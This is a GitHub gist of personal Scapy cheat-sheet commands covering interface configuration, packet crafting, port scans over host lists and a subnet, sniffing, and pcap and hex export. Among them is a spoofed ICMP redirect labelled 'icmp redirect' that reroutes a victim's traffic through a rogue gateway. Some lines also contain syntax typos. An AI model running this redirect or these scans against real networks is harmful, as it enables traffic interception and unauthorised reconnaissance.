Skip to content

Instantly share code, notes, and snippets.

@ddouhine
Last active September 15, 2015 08:24
Show Gist options
  • Save ddouhine/bbe9bb86ef0356452eb3 to your computer and use it in GitHub Desktop.
Save ddouhine/bbe9bb86ef0356452eb3 to your computer and use it in GitHub Desktop.
conf
show_interfaces()
conf.iface="eth1"
conf.color_theme=RastaTheme()
load_session("/var/session")
save_session("/var/session")
ls(IP)
a=IP(dst="192.168.0.1")
c=TCP(dport="25")
d=TCP(dport=(21,25)) 21 22 23 24 25
e=TCP(dport=[21,25] 21 25
g=a/c
g.summary()
g.diplay()
x[UDP].dport=[(21,25)]
fuzz(a)
dir()
a,b=sr(IP(dst=["1.1.1.1","1.1.1.2"])/TCP(dport=[21,22,25,80,443]*10)
a.make_table(lambda (s,r): (s.dst, s.dport, r.sprintf("{TCP:%TCP.flags%}{ICMP:%ICMP.code%}")))
a.plot(lambda x:x[1].seq)
a,b=sr(IP(dst="10.11.11.0/24")/TCP(dport=[21,22,25,80,443]),timeout=2)
//x axis: ports
a.make_table(lambda (s,r): (s.dport, s.dst, r.sprintf("{TCP:%TCP.flags%}{ICMP:%ICMP.code%}")))
//x axis: hosts
a.make_table(lambda (s,r): (s.dst, s.dport, r.sprintf("{TCP:%TCP.flags%}{ICMP:%ICMP.code%}")))
//icmp redirect
ip=IP()
ip.src='ip_gateway'
ip.dst='ip_victim'
icmp=ICMP()
icmp.type=5
icmp.code=1
icmp.gw='ip_gateway_rogue'
ip2=IP()
ip2.src='ip_victim'
ip2.dst='ip_destination_to_redirect'
send(ip/icmp/ip2/UDP())
//sniff
a=sniff(count=2,filter="udp")
a=sniff(prn=prnp0f)
a=sniff(iface='eth2',timeout=60)
//import/export/hex/pcap/pdfdump
a=IP(import_hexcap())
a=Ether(import_hexcap())
hexdump(a)
linehexdump(a)
export_object(a)
import_object()
rdpcap("cap.cap")
wrpcap("cap.cap", a)
packet.pdfdump()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment